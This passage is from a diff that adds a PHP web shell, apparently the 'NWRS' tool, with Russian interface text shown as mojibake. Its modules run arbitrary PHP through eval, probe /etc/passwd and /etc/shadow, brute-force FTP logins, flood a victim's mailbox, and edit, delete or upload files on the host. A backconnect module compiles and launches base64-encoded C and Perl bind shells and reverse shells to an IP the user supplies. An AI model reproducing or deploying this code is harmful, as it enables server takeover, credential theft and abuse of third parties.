+### end of sql
+print "
";
+print $copyr;
+die;
+
+
+break;
+
+//PHP Eval Code execution
+case "eval":
+
+echo <<Èñïîëíåíèå php-êîäà (áåç "< ? ? >")
+
+
+
+
+
+
+
+
+$tend
+HTML;
+
+if (isset($_POST['ephp'])){
+eval($_POST['ephp']);
+}
+break;
+
+// SEND MAIL
+case "sendmail":
+echo <<
+
+
+Îò êîãî:
+
+ Êîìó:
+ Òåìà:
+ Òåêñò:
+
+
+
+
+$tend
+HTML;
+// íèêàêàÿ ïðîâåðêà íå äåëàåòñÿ, à çà÷åì ? =)
+if (isset($submit))
+{
+
+mail($tomailz,$mailtema,$mailtext,"From: $frommail");
+echo "Ñîîáùåíèå îòïðàâëåíî! ";
+}
+break;
+
+
+// Èíôîðìàöèÿ î ñèñòåìå
+case "info":
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = true;
+ $hsafemode = "Âêëþ÷åíî ";
+}
+else {$safemode = false; $hsafemode = "Îòêëþ÷åíî";}
+/* display information */
+echo "[ Èíôîðìàöèÿ î ñèñòåìå ] ";
+echo "Õîñò: ".$_SERVER["HTTP_HOST"]." " ;
+echo "IP ñåðâåðà: ".gethostbyname($_SERVER["HTTP_HOST"])." ";
+echo " Ñåðâåð: ".$_SERVER['SERVER_SIGNATURE']." ";
+echo "OC: ".exec("uname -a")."(";
+print "".php_uname()." ) \n";
+echo "Ïðîöåññîð: ".exec("cat /proc/cpuinfo | grep GHz")." ";
+echo "Ïðèâèëåãèè: ".exec("id")." ";
+echo "Âñåãî ìåñòà: " . (int)(disk_total_space(getcwd())/(1024*1024)) . " MB " . "Ñâîáîäíî : " . (int)(disk_free_space(getcwd())/(1024*1024)) . " MB ";
+echo "Òåêóùèé êàòàëîã: ".exec("pwd")."";
+echo " Òåêóøèé web-ïóòü: ".@$_SERVER['PHP_SELF']." ";
+echo "Òâîé IP: ".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].") ";
+echo "PHP version: ".phpversion()." ";
+echo " ID âëàäåëüöà ïðîöåñà: ".get_current_user()." ";
+echo "MySQL : ".mysql_get_server_info()." ";
+if(file_exists('/etc/passwd') && is_readable('/etc/passwd')){
+print 'Åñòü äîñòóï ê /etc/passwd! ';
+}
+if(file_exists('/etc/shadow') && is_readable('/etc/shadow')){
+print 'Åñòü äîñòóï ê /etc/shadow! ';
+}
+if(file_exists('/etc/shadow-') && is_readable('/etc/shadow-')){
+print 'Åñòü äîñòóï ê /etc/shadow-! ';
+}
+if(file_exists('/etc/master.passwd') && is_readable('/etc/master.passwd')){
+print 'Åñòü äîñòóï ê /etc/master.passwd! ';
+}
+if(isset($_POST['th']) && $_POST['th']!=''){
+chdir($_POST['th']);
+};
+if(is_writable('/tmp/')){
+$fp=fopen('/tmp/qq8',"w+");
+fclose($fp);
+print "/tmp - îòêðûòà \n";
+unlink('/tmp/qq8');
+}
+else{
+print "/tmp - íå îòêðûòà ";
+}
+echo "Áåçîïàñíûé ðåæèì: ".$hsafemode." ";
+if ($nixpasswd)
+ {
+ if ($nixpasswd == 1) {$nixpasswd = 0;}
+ $num = $nixpasswd + $nixpwdperpage;
+ echo "*nix /etc/passwd: ";
+ $i = $nixpasswd;
+ while ($i < $num)
+ {
+ $uid = posix_getpwuid($i);
+ if ($uid) {echo join(":",$uid)." ";}
+ $i++;
+ }
+ }
+ else {echo "Get /etc/passwd ";}
+ if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Êîíôèãóðàöèÿ Apache (httpd.conf) ";}
+ { echo "Êîíôèãóðàöèÿ Apache (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "Êîíôèãóðàöèÿ Apache (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "cpanel log ";}
+ break;
+
+// Î ñêðèïòå
+case "about":
+
+echo "Ïðèâåò âñåì!
+Íàêîíåö-òî NWRS äîñòóïåí â ïåðâîé ñòàáèëüíîé âåðñèè! Äîáàâèëîñü ìíîæåñòâî íîâûõ ïîëåçíûõ âîçìîæíîñòåé. Âñå ôóíêöèè ñêðèïòà ðàáîòàþò è ðàáîòàþò êîððåêòíî. Äîáàâëåíû óíèêàëüíûå èíñòðóìåíòû äëÿ âçëîìà ñåðâåðà.  òî æå âðåìÿ íåò íè÷åãî ëèøíåãî. Âñå, ÷òî çàäóìûâàëîñü - ðåàëèçèðîâàíî. Äóìàþ, êàæäûé íàéäåò â ñêðèïòå ÷òî-òî ïîëåçíîå äëÿ ñåáÿ. Òàêæå çàÿâëÿþ î òîì, ÷òî ÿ çàêðûâàþ ïðîåêò, èáî îí äîñòèã èäåàëà :) Ëþáîé ìîæåò åãî ïðîäîëæèòü, php - îòêðûòûé ÿçûê. Íà ïåðâûõ ïîðàõ ñêðèïò âîîáùå áûë òîëüêî ó íåñêîëüêèõ ÷åëîâåê óçêîãî êðóãà äðóçåé, ïèñàë åãî äëÿ ñåáÿ, èç-çà ñâîåé ïðèðîäíîé ëåíè.
+Íó, è ñïàñèáî ýòèì ëþäÿì: Nitrex, Terabyte, 1dt_wolf, xoce, FUF, Shift, dodbob, m0zg, Tristram, Sanchous (îðôîãðàôèÿ è äèçàéí)... È ìíîãèì äðóãèì... Èõ èäåè î÷åíü ïîìîãëè âîïëîòèòü â æèçíü ñòîëü óíèâåðñàëüíûé èíñòðóìåíò. Îãðîìíîå ñïàñèáî èì!Ïîìíèòå: èñïîëüçóÿ ýòîò ñêðèïò íà ÷óæèõ ñåðâåðàõ, âû íàðóøàåòå çàêîí :) Òàê ÷òî îñòîðîæíåå. ";
+echo "Ïîñåòèòå ýòè ñàéòû, è âû âñåãäà áóäåòå â êóðñå ñîáûòèé:
+www.ru24-team.net
+www.web-hack.ru
+www.rst.void.ru
+www.hackru.info
+www.realcoding.net
+www.ccteam.ru
+Èçâèíÿþñü, åñëè êîãî çàáûë. Àâòîð íå íåñåò îòâåòñòâåííîñòè çà ìàòåðèàëû, ðàçìåùåííûå íà ýòèõ ñàéòàõ, îcîáåííî íà ïîñëåäíåì :)
+Ñêðèïò ðàñïðîñòðàíÿåòñÿ ïî ëèöåíçèè GNU GPL 22 Èþëÿ 2005 ã. © DreAmeRz e-mail: dreamerz@mail.ru ICQ: 817312 WEB: http://www.Ru24-Team.NET ";
+break;
+
+// ÔÒÏ ïîäáîð ïàðîëåé
+case "ftppass":
+
+$filename="/etc/passwd"; // passwd file
+$ftp_server="localhost"; // FTP-server
+
+echo "FTP-server: $ftp_server ";
+
+$fp = fopen ($filename, "r");
+if ($fp)
+{
+while (!feof ($fp)) {
+$buf = fgets($fp, 100);
+ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
+$ftp_user_name=$g[1];
+$ftp_user_pass=$g[1];
+$conn_id=ftp_connect($ftp_server);
+$login_result=@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
+
+if (($conn_id) && ($login_result)) {
+echo "Ïîäêëþ÷åíèå login:password - ".$ftp_user_name.":".$ftp_user_name." ";
+ftp_close($conn_id);}
+else {
+echo $ftp_user_name." - error ";
+}
+}}
+break;
+
+case "ftp":
+
+echo "
+ ";
+
+
+function s() {
+ $word="qwrtypsdfghjklzxcvbnm";
+ return $word[mt_rand(0,strlen($word)-1)];
+}
+
+function g() {
+ $word="euioam";
+ return $word[mt_rand(0,strlen($word)-2)];
+}
+
+function name0() { return s().g().s(); }
+function name1() { return s().g().s().g(); }
+function name2() { return s().g().g().s(); }
+function name3() { return s().s().g().s().g(); }
+function name4() { return g().s().g().s().g(); }
+function name5() { return g().g().s().g().s(); }
+function name6() { return g().s().s().g().s(); }
+function name7() { return s().g().g().s().g(); }
+function name8() { return s().g().s().g().g(); }
+function name9() { return s().g().s().g().s().g(); }
+function name10() { return s().g().s().s().g().s().s(); }
+function name11() { return s().g().s().s().g().s().s().g(); }
+
+$cool=array(1,2,3,4,5,6,7,8,9,10,99,100,111,111111,666,1978,1979,1980,1981,1982,1983,1984,1985,1986,1987,1988,1989,1990,1991,1992,1993,1994,1995,1996,1997,1998,1999,2000,2001,2002,2003,2004,2005);
+$cool2=array('q1w2e3','qwerty','qwerty111111','123456','1234567890','0987654321','asdfg','zxcvbnm','qazwsx','q1e3r4w2','q1r4e3w2','1q2w3e','1q3e2w','poiuytrewq','lkjhgfdsa','mnbvcxz','asdf','root','admin','admin123','lamer123','admin123456','administrator','administrator123','q1w2e3r4t5','root123','microsoft','muther','hacker','hackers','cracker');
+
+function randword() {
+ global $cool;
+ $func="name".mt_rand(0,11);
+ $func2="name".mt_rand(0,11);
+ switch (mt_rand(0,11)) {
+ case 0: return $func().mt_rand(5,99);
+ case 1: return $func()."-".$func2();
+ case 2: return $func().$cool[mt_rand(0,count($cool)-1)];
+ case 3: return $func()."!".$func();
+ case 4: return randpass(mt_rand(5,12));
+ default: return $func();
+ }
+
+
+}
+
+function randpass($len) {
+ $word="qwertyuiopasdfghjklzxcvbnm1234567890";
+ $s="";
+ for ($i=0; $i<$len; $i++) {
+ $s.=$word[mt_rand(0,strlen($word)-1)];
+ }
+ return $s;
+}
+if (@unlink("pass.txt") < 0){
+echo "íè÷åãî íåò";
+exit;
+}
+$file="pass.txt";
+if($file && $host && $login){
+ $cn=mt_rand(30,30);
+for ($i=0; $i<$cn; $i++) {
+ $s=$cool2[$i];
+ $f=@fopen(pass.".txt","a+");
+ fputs($f,"$s\n");
+ }
+
+ $cnt2=mt_rand(43,43);
+for ($i=0; $i<$cnt2; $i++) {
+ $r=$cool[$i];
+ $f=@fopen(pass.".txt","a+");
+ fputs($f,"$login$r\n");
+}
+$p="$testing";
+ $f=@fopen(pass.".txt","a+");
+ fputs($f,"$p\n");
+
+ $cnt3=mt_rand($number,$number);
+ for ($i=0; $i<$cnt3; $i++) {
+ $u=randword();
+ $f=@fopen(pass.".txt","a+");
+ fputs($f,"$u\n");
+ }
+
+ if(is_file($file)){
+ $passwd=file($file,1000);
+ for($i=0; $i
+Ïîçäðàâëÿþ!!! Ïàðîëü ïîäîáðàí.
+ Êîííåêò: $host Ëîãèí: $login Ïàðîëü: $password
+";exit;
+ }
+ elseif(preg_match("/530/",$text)){
+ $stop=true;
+
+ }
+ }
+ fclose($open_ftp);
+ }else{
+ echo "
+
+Íåâåðíî óêàçàí ftp õîñòèíãà!!! Íà $host çàêðûò 21 ïîðò!
+
+";exit;
+ }
+ }
+ }
+}
+
+
+break;
+// SQL Attack
+case "sql":
+
+break;
+
+
+
+
+
+
+// MailFlud
+case "mailfluder":
+
+$email=$_POST['email']; // Ìûëî æåðòâû
+$from=$_POST['from']; // Ìûëî æåðòâû
+$num=$_POST['num']; // ×èñëî ïèñåì
+$text=$_POST['text']; // Òåêñò ôëóäà
+$kb=$_POST['kb']; // Âåñ ïèñüìà (kb)
+?>
+
+Æåðòâà: $email
+Êîë-âî ïèñåì: $num
+Îáùèé ïîñëàííûé îáúåì: $all_kb kb
+EOF;
+
+}
+
+else {
+
+echo <<
+
+
+EOF;
+
+}
+break;
+
+case "tar":
+# àðõèâàöèÿ äèðåêòîðèè
+$fullpath = $d."/".$tar;
+/* çàäàåì ñëó÷àéíûå èìåíà ôàéëîâ àðõèâàöèè*/
+$CHARS = "abcdefghijklmnopqrstuvwxyz";
+for ($i=0; $i<6; $i++) $charsname .= $CHARS[rand(0,strlen($CHARS)-1)];
+ echo "
+Êàòàëîã $fullpath ".exec("tar -zc $fullpath -f $charsname.tar.gz")."óïàêîâàí â ôàéë $charsname.tar.gz ";
+
+
+
+echo "
+
+
+Àðõèâàöèÿ $name.tar.gz :
+
+
+
+ ";
+
+exec($archive);
+
+break;
+
+
+// Íàâèãàöèÿ
+case "navigation":
+
+ // Ïîøëà íàâèãàöèÿ
+$mymenu = " [Ïðîñìîòð ] [Óäàëèòü ] [Ðåäàêòèðîâàòü ] [Î÷èñòèòü ] [Çàìåíèòü òåêñò ] [Çàãðóçèòü ] ";
+if(@$_GET['download']){
+@$download=$_GET['download'];
+@$d=$_GET['d'];
+header("Content-disposition: attachment; filename=\"$download\";");
+readfile("$d/$download");
+exit;}
+$images=array(".gif",".jpg",".png",".bmp",".jpeg");
+$whereme=getcwd();
+@$d=@$_GET['d'];
+$copyr = "";
+$php_self=@$_SERVER['PHP_SELF'];
+if(@eregi("/",$whereme)){$os="unix";}else{$os="win";}
+if(!isset($d)){$d=$whereme;}
+$d=str_replace("\\","/",$d);
+
+
+
+$expl=explode("/",$d);
+$coun=count($expl);
+if($os=="unix"){echo "/ ";}
+else{
+ echo "$expl[0]/ ";}
+for($i=1; $i<$coun; $i++){
+ @$xx.=$expl[$i]."/";
+$sls="$expl[$i] /";
+$sls=str_replace("//","/",$sls);
+$sls=str_replace("/'>/","/'>",$sls);
+print $sls;
+}
+echo " ";
+//if($os=="unix"){ echo "
+//id: ".@exec('id')."
+//uname -a: ".@exec('uname -a')." ";}
+if(@$_GET['delfl']){
+@$delfolder=$_GET['delfolder'];
+echo "DELETE FOLDER: ".@$_GET['delfolder']."
+(All files must be writable)
+Yes || No
+";
+exit;
+}
+if(@$_GET['deldir']){
+@$dir=$_GET['dir'];
+function deldir($dir)
+{
+$handle = @opendir($dir);
+while (false!==($ff = @readdir($handle))){
+if($ff != "." && $ff != ".."){
+if(@is_dir("$dir/$ff")){
+deldir("$dir/$ff");
+}else{
+@unlink("$dir/$ff");
+}}}
+@closedir($handle);
+if(@rmdir($dir)){
+@$success = true;}
+return @$success;
+}
+$dir=@$dir;
+deldir($dir);
+
+$rback=$_GET['rback'];
+@$rback=explode("/",$rback);
+$crb=count($rback);
+for($i=0; $i<$crb-1; $i++){
+ @$x.=$rback[$i]."/";
+}
+echo " ";
+echo $copyr;
+exit;}
+if(@$_GET['replace']=="1"){
+$ip=@$_SERVER['REMOTE_ADDR'];
+$d=$_GET['d'];
+$e=$_GET['e'];
+@$de=$d."/".$e;
+$de=str_replace("//","/",$de);
+$e=@$e;
+echo $mymenu ;
+echo "
+Ñðåäñòâî çàìåíû:
+(òû ìîæåøü çàìåíèòü ëþáîé òåêñò)
+Ôàéë: $de
+
+1. Òâîé IP
+2. IP microsoft.com :)
+Çàìåíÿòü ýòî ýòèì
+
+
+";
+
+if(@$_POST['doit']){
+
+$filename="$d/$e";
+$fd = @fopen ($filename, "r");
+$rpl = @fread ($fd, @filesize ($filename));
+$re=str_replace("$this","$bythis",$rpl);
+$x=@fopen("$d/$e","w");
+@fwrite($x,"$re");
+echo "$this çàìåíåíî íà $bythis
+[Ïîñìîòðåòü ôàéë ] ";
+
+}
+echo $copyr;
+exit;}
+
+
+
+
+if(@$_GET['yes']=="yes"){
+$d=@$_GET['d']; $e=@$_GET['e'];
+unlink($d."/".$e);
+$delresult="$d/$e óäàëåí! ";
+}
+if(@$_GET['clean']=="1"){
+@$e=$_GET['e'];
+$x=fopen("$d/$e","w");
+fwrite($x,"");
+echo " ";
+exit;
+}
+
+
+if(@$_GET['e']){
+$d=@$_GET['d'];
+$e=@$_GET['e'];
+$pinf=pathinfo($e);
+if(in_array(".".@$pinf['extension'],$images)){
+echo " ";
+exit;}
+$filename="$d/$e";
+$fd = @fopen ($filename, "r");
+$c = @fread ($fd, @filesize ($filename));
+$c=htmlspecialchars($c);
+$de=$d."/".$e;
+$de=str_replace("//","/",$de);
+if(is_file($de)){
+if(!is_writable($de)){echo "ÒÎËÜÊÎ ×ÒÅÍÈÅ ";}}
+echo $mymenu ;
+echo "
+Ñîäåðæèìîå ôàéëà:
+$de
+
+";
+if(@$_GET['delete']=="1"){
+$delete=$_GET['delete'];
+echo "
+Óäàëåíèå: òû óâåðåí?
+Äà || Íåò
+
+";
+if(@$_GET['yes']=="yes"){
+@$d=$_GET['d']; @$e=$_GET['e'];
+echo $delresult;
+}
+if(@$_GET['no']){
+echo "
+";
+}
+
+
+} #end of delete
+echo $copyr;
+exit;
+} #end of e
+
+if(@$_GET['edit']=="1"){
+@$d=$_GET['d'];
+@$ef=$_GET['ef'];
+if(is_file($d."/".$ef)){
+if(!is_writable($d."/".$ef)){echo "ÒÎËÜÊÎ ×ÒÅÍÈÅ ";}}
+echo $mymenu ;
+$filename="$d/$ef";
+$fd = @fopen ($filename, "r");
+$c = @fread ($fd, @filesize ($filename));
+$c=htmlspecialchars($c);
+$de=$d."/".$ef;
+$de=str_replace("//","/",$de);
+echo "
+Ðåäàêòèðîâàíèå:
+$de
+
+
+$c
+
+
+
+";
+if(@$_POST['save']){
+$editf=@$_POST['editf'];
+$editf=stripslashes($editf);
+$f=fopen($filename,"w+");
+fwrite($f,"$editf");
+echo " ";
+exit;
+}
+echo $copyr;
+exit;
+}
+
+
+
+echo"
+
+Íàçâàíèå Òèï Ðàçìåð Âëàäåëåö/Ãðóïïà Ïðàâà
+";
+$dirs=array();
+$files=array();
+$dh = @opendir($d) or die("Êàòàëîã íå ñóùåñòâóåò èëè äîñòóï ê íåìó çàïðåùåí! $copyr
");
+while (!(($file = readdir($dh)) === false)) {
+if ($file=="." || $file=="..") continue;
+if (@is_dir("$d/$file")) {
+ $dirs[]=$file;
+}else{
+ $files[]=$file;
+ }
+ sort($dirs);
+ sort($files);
+
+$fz=@filesize("$d/$file");
+}
+
+function perm($perms){
+if (($perms & 0xC000) == 0xC000) {
+ $info = 's';
+} elseif (($perms & 0xA000) == 0xA000) {
+ $info = 'l';
+} elseif (($perms & 0x8000) == 0x8000) {
+ $info = '-';
+} elseif (($perms & 0x6000) == 0x6000) {
+ $info = 'b';
+} elseif (($perms & 0x4000) == 0x4000) {
+ $info = 'd';
+} elseif (($perms & 0x2000) == 0x2000) {
+ $info = 'c';
+} elseif (($perms & 0x1000) == 0x1000) {
+ $info = 'p';
+} else {
+ $info = 'u';
+}
+$info .= (($perms & 0x0100) ? 'r' : '-');
+$info .= (($perms & 0x0080) ? 'w' : '-');
+$info .= (($perms & 0x0040) ?
+ (($perms & 0x0800) ? 's' : 'x' ) :
+ (($perms & 0x0800) ? 'S' : '-'));
+$info .= (($perms & 0x0020) ? 'r' : '-');
+$info .= (($perms & 0x0010) ? 'w' : '-');
+$info .= (($perms & 0x0008) ?
+ (($perms & 0x0400) ? 's' : 'x' ) :
+ (($perms & 0x0400) ? 'S' : '-'));
+$info .= (($perms & 0x0004) ? 'r' : '-');
+$info .= (($perms & 0x0002) ? 'w' : '-');
+$info .= (($perms & 0x0001) ?
+ (($perms & 0x0200) ? 't' : 'x' ) :
+ (($perms & 0x0200) ? 'T' : '-'));
+return $info;
+}
+
+
+for($i=0; $i W";}
+else{$info=" R ";}
+$perms = @fileperms($d."/".$dirs[$i]);
+$owner = @fileowner($d."/".$dirs[$i]);
+if($os=="unix"){
+$fileownera=posix_getpwuid($owner);
+$owner=$fileownera['name'];
+}
+$group = @filegroup($d."/".$dirs[$i]);
+if($os=="unix"){
+$groupinfo = posix_getgrgid($group);
+$group=$groupinfo['name'];
+}
+$info=perm($perms);
+if($i%2){$color="#aed7ff";}else{$color="#68adf2";}
+$linkd="$dirs[$i] ";
+$linkd=str_replace("//","/",$linkd);
+echo "0 $linkdDIR $owner/$group $info ";
+}
+
+for($i=0; $i W";}
+else{$info=" R ";}
+$size=@filesize($d."/".$files[$i]);
+$perms = @fileperms($d."/".$files[$i]);
+$owner = @fileowner($d."/".$files[$i]);
+if($os=="unix"){
+$fileownera=posix_getpwuid($owner);
+$owner=$fileownera['name'];
+}
+$group = @filegroup($d."/".$files[$i]);
+if($os=="unix"){
+$groupinfo = posix_getgrgid($group);
+$group=$groupinfo['name'];
+}
+$info=perm($perms);
+if($i%2){$color="#ccccff";}else{$color="#b0b0ff";}
+
+if ($size < 1024){$siz=$size.' b';
+}else{
+if ($size < 1024*1024){$siz=number_format(($size/1024), 2, '.', '').' kb';}else{
+if ($size < 1000000000){$siz=number_format($size/(1024*1024), 2, '.', '').' mb';}else{
+if ($size < 1000000000000){$siz=number_format($size/(1024*1024*1024), 2, '.', '').' gb';}
+}}}
+echo "2 $files[$i] ` $siz $owner/$group $info ";
+}
+
+echo "
";
+echo $copyr;
+break;
+
+// Óñòàíîâêà áåêäîðà
+case "backconnect":
+echo "Óñòàíîâêà áåêäîðà / îòêðûòèå ïîðòà ";
+echo "";
+echo "";
+echo "Îòêðûòü ïîðò ";
+echo " ";
+echo "Ïàðîëü äëÿ äîñòóïà ";
+echo " ";
+echo "Èñïîëüçîâàòü ";
+echo "";
+echo "Perl ";
+echo "C ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+
+echo "Óñòàíîâêà áåêäîðà / connect-back ";
+echo "";
+echo "";
+echo "IP-àäðåñ ";
+echo " ";
+echo "Ïîðò ";
+echo " ";
+echo "Èñïîëüçîâàòü ";
+echo "";
+echo "Perl ";
+echo "C ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+echo " ";
+
+
+/* port bind C */
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="C"))
+{
+ $w_file=fopen("/tmp/bd.c","ab+") or $err=1;
+ if($err==1)
+ {
+ echo "ÎØÈÁÊÀ! Íåâîçìîæíà çàïèñü â /tmp/bd.c
";
+ $err=0;
+ }
+ else
+ {
+ fputs($w_file,base64_decode($port_bind_bd_c));
+ fclose($w_file);
+ $blah=exec("gcc -o /tmp/bd /tmp/bd.c");
+ unlink("/tmp/bd.c");
+ $bind_string="/tmp/bd ".$_POST['port']." ".$_POST['bind_pass']." &";
+ $blah=exec($bind_string);
+ $_POST['cmd']="ps -aux | grep bd";
+ $err=0;
+ }
+}
+
+/* port bind Perl */
+if (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']=="Perl"))
+{
+ $w_file=fopen("/tmp/bdpl","ab+") or $err=1;
+ if($err==1)
+ {
+ echo "ÎØÈÁÊÀ! Íåâîçìîæíà çàïèñü â /tmp/
";
+ $err=0;
+ }
+ else
+ {
+ fputs($w_file,base64_decode($port_bind_bd_pl));
+ fclose($w_file);
+ $bind_string="perl /tmp/bdpl ".$_POST['port']." &";
+ $blah=exec($bind_string);
+ $_POST['cmd']="ps -aux | grep bdpl";
+ $err=0;
+ }
+}
+
+/* back connect Perl */
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="Perl"))
+{
+ $w_file=fopen("/tmp/back","ab+") or $err=1;
+ if($err==1)
+ {
+ echo "ÎØÈÁÊÀ! Íåâîçìîæíà çàïèñü â /tmp/
";
+ $err=0;
+ }
+ else
+ {
+ fputs($w_file,base64_decode($back_connect));
+ fclose($w_file);
+ $bc_string="perl /tmp/back ".$_POST['ip']." ".$_POST['port']." &";
+ $blah=exec($bc_string);
+ $_POST['cmd']="echo \"Ñåé÷àñ ñêðèïò êîííåêòèòñÿ ê ".$_POST['ip']." port ".$_POST['port']." ...\"";
+ $err=0;
+ }
+}
+
+/* back connect C */
+if (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']=="C"))
+{
+ $w_file=fopen("/tmp/back.c","ab+") or $err=1;
+ if($err==1)
+ {
+ echo "ÎØÈÁÊÀ! Íåâîçìîæíà çàïèñü â /tmp/back.c
";
+ $err=0;
+ }
+ else
+ {
+ fputs($w_file,base64_decode($back_connect_c));
+ fclose($w_file);
+ $blah=exec("gcc -o /tmp/backc /tmp/back.c");
+ unlink("/tmp/back.c");
+ $bc_string="/tmp/backc ".$_POST['ip']." ".$_POST['port']." &";
+ $blah=exec($bc_string);
+ $_POST['cmd']="echo \"Ñåé÷àñ ñêðèïò êîííåêòèòñÿ ê ".$_POST['ip']." port ".$_POST['port']." ...\"";
+ $err=0;
+ }
+}
+echo "Âûïîëíåííàÿ êîìàíäà: ".$_POST['cmd']." ";
+echo "";
+echo " Ðåçóëüòàò: ";
+echo " ";
+break;
+
+// Uploading
+case "upload":
+
+echo <<Çàãðóçêà ôàéëîâ
+* Çàãðóçèòü áîëüøîå êîëè÷åñòâî ôàéëîâ *
+
+
+
+
+Ôàéë:
+
+
+
+Ïàïêà:
+
+$tend
+HTML;
+
+if (isset($_POST['path'])){
+
+$uploadfile = $_POST['path'].$_FILES['file']['name'];
+if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];}
+
+if (copy($_FILES['file']['tmp_name'], $uploadfile)) {
+ echo "Ôàéë óñïåøíî çàãðóæåí â ïàïêó $uploadfile\n";
+ echo "Èìÿ:" .$_FILES['file']['name']. "\n";
+ echo "Ðàçìåð:" .$_FILES['file']['size']. "\n";
+
+} else {
+ print "Íå óäà¸òñÿ çàãðóçèòü ôàéë. Info:\n";
+ print_r($_FILES);
+}
+}
+
+
+echo "
+Çàãðóçêà ôàéëîâ ñ óäàëåííîãî êîìïüþòåðà:
+ HTTP-ïóòü ê ôàéëó:
+
+Íàçâàíèå ôàéëà èëè ïóòü ñ íàçâàíèåì ôàéëà:
+
+ ";
+
+
+$data = @implode("", file($file3));
+$fp = @fopen($file2, "wb");
+@fputs($fp, $data);
+$ok = @fclose($fp);
+if($ok)
+{
+$size = filesize($file2)/1024;
+$sizef = sprintf("%.2f", $size);
+
+print "Âû çàãðóçèëè: ôàéë $file2 ðàçìåðîì (".$sizef."êÁ) ";
+}
+else
+{
+print "Îøèáêà çàãðóçêè ôàéëà ";
+}
+
+
+
+
+break;
+// Tools
+case "tools":
+echo "Ãåíåðàöèÿ md5-øèôðà ";
+@$md5=@$_POST['md5'];
+if(@$_POST['md5']){ echo "md5 ñãåíåðèðîâàí: ".md5($md5)."";}
+echo "
+Êîäèðîâàíèå/äåêîäèðîâàíèå base64 ";
+if(@$_POST['base64']){
+@$base64=$_POST['base64'];
+echo "
+Êîäèðîâàíî:".base64_encode($base64)."
+Äåêîäèðîâàíî: ".base64_decode($base64)." ";}
+echo "
+DES-êîäèðîâàíèå: ";
+if(@$_POST['des']){
+@$des=@$_POST['des'];
+echo "DES ñãåíåðèðîâàí: ".crypt($des)."";}
+echo "
+SHA1-êîäèðîâàíèå: ";
+if(@$_POST['sha1']){
+@$des=@$_POST['sha1'];
+echo "SHA1 ñãåíåðèðîâàí: ".sha1($sha1a)."";}
+
+echo "";
+echo "html-êîä -> øåñòíàäöàòèðè÷íûå çíà÷åíèÿ ";
+
+
+if (isset($_POST['data']))
+{
+echo "Ðåçóëüòàò: ";
+$str=str_replace("%20","",$_POST['data']);
+for($i=0;$i
+
+
+
+
+
+
+
+
+
+
+
+
+
+ ";
+
+if(@$_POST['massupload']){
+$where=@$_POST['where'];
+$uploadfile1 = "$where/".@$_FILES['text1']['name'];
+$uploadfile2 = "$where/".@$_FILES['text2']['name'];
+$uploadfile3 = "$where/".@$_FILES['text3']['name'];
+$uploadfile4 = "$where/".@$_FILES['text4']['name'];
+$uploadfile5 = "$where/".@$_FILES['text5']['name'];
+$uploadfile6 = "$where/".@$_FILES['text6']['name'];
+$uploadfile7 = "$where/".@$_FILES['text7']['name'];
+$uploadfile8 = "$where/".@$_FILES['text8']['name'];
+$uploadfile9 = "$where/".@$_FILES['text9']['name'];
+$uploadfile10 = "$where/".@$_FILES['text10']['name'];
+$uploadfile11 = "$where/".@$_FILES['text11']['name'];
+$uploadfile12 = "$where/".@$_FILES['text12']['name'];
+$uploadfile13 = "$where/".@$_FILES['text13']['name'];
+$uploadfile14 = "$where/".@$_FILES['text14']['name'];
+$uploadfile15 = "$where/".@$_FILES['text15']['name'];
+$uploadfile16 = "$where/".@$_FILES['text16']['name'];
+$uploadfile17 = "$where/".@$_FILES['text17']['name'];
+$uploadfile18 = "$where/".@$_FILES['text18']['name'];
+$uploadfile19 = "$where/".@$_FILES['text19']['name'];
+$uploadfile20 = "$where/".@$_FILES['text20']['name'];
+if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile1 ";}
+if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile2 ";}
+if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile3 ";}
+if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile4 ";}
+if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile5 ";}
+if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile6 ";}
+if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile7 ";}
+if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile8 ";}
+if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile9 ";}
+if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile10 ";}
+if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) {
+$where=str_replace("\\\\","\\",$where);
+echo "Çàãðóæåíî: $uploadfile11 ";}
